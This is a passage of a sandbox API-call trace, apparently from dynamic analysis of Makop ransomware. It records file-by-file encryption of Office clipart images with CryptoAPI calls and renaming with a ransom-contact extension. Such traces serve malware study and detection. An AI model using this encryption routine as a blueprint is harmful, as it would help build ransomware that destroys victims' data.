hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.771] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4ad8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4ad8, lpOverlapped=0x0) returned 1 [0136.772] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4ae0, dwBufLen=0x4ae0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4ae0) returned 1 [0136.773] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.773] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4ae0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4ae0, lpOverlapped=0x0) returned 1 [0136.773] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.773] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.773] SetEndOfFile (hFile=0xf0) returned 1 [0136.780] GetProcessHeap () returned 0x48a0000 [0136.780] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.780] GetProcessHeap () returned 0x48a0000 [0136.780] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.780] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.780] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.782] CloseHandle (hObject=0xf0) returned 1 [0136.782] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341448.JPG", cAlternateFileName="")) returned 1 [0136.782] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG") returned 63 [0136.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.783] GetProcessHeap () returned 0x48a0000 [0136.783] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.783] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.784] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0136.788] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.788] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.788] GetProcessHeap () returned 0x48a0000 [0136.788] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.788] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.788] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.788] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.788] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.789] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.789] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.789] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.789] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.789] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.789] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.790] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.790] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x52c3, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x52c3, lpOverlapped=0x0) returned 1 [0136.791] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x52d0, dwBufLen=0x52d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x52d0) returned 1 [0136.792] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.792] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x52d0, lpOverlapped=0x0) returned 1 [0136.792] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.792] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x53a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.793] SetEndOfFile (hFile=0xf0) returned 1 [0136.799] GetProcessHeap () returned 0x48a0000 [0136.799] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.799] GetProcessHeap () returned 0x48a0000 [0136.799] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.799] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.800] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.801] CloseHandle (hObject=0xf0) returned 1 [0136.801] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7457, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341455.JPG", cAlternateFileName="")) returned 1 [0136.801] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG") returned 63 [0136.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.804] GetProcessHeap () returned 0x48a0000 [0136.804] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.804] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.804] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.804] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0136.809] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.809] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.809] GetProcessHeap () returned 0x48a0000 [0136.810] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.810] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.810] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.810] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.810] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.810] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.811] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.811] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.811] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.811] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.811] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.811] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.811] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7457, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7457, lpOverlapped=0x0) returned 1 [0136.813] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7460, dwBufLen=0x7460 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7460) returned 1 [0136.813] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.813] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7460, lpOverlapped=0x0) returned 1 [0136.814] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.814] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.814] SetEndOfFile (hFile=0xf0) returned 1 [0136.821] GetProcessHeap () returned 0x48a0000 [0136.821] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.821] GetProcessHeap () returned 0x48a0000 [0136.821] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.821] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.821] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.822] CloseHandle (hObject=0xf0) returned 1 [0136.822] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa9e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341475.JPG", cAlternateFileName="")) returned 1 [0136.823] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG") returned 63 [0136.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.823] GetProcessHeap () returned 0x48a0000 [0136.824] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.824] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.824] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.824] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0136.828] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.828] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.828] GetProcessHeap () returned 0x48a0000 [0136.828] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.828] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.828] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.828] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.829] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.829] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.829] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.829] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.829] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.829] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.829] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.829] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.829] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa9e2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa9e2, lpOverlapped=0x0) returned 1 [0136.831] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa9f0, dwBufLen=0xa9f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa9f0) returned 1 [0136.831] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.831] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa9f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa9f0, lpOverlapped=0x0) returned 1 [0136.832] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.832] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xaac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.832] SetEndOfFile (hFile=0xf0) returned 1 [0136.839] GetProcessHeap () returned 0x48a0000 [0136.839] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.839] GetProcessHeap () returned 0x48a0000 [0136.839] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.839] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.839] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.841] CloseHandle (hObject=0xf0) returned 1 [0136.841] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341499.JPG", cAlternateFileName="")) returned 1 [0136.841] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG") returned 63 [0136.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.842] GetProcessHeap () returned 0x48a0000 [0136.842] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.842] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.843] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.843] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0136.847] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.847] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.847] GetProcessHeap () returned 0x48a0000 [0136.847] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.847] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.847] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.847] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.848] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.848] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.848] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.848] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, 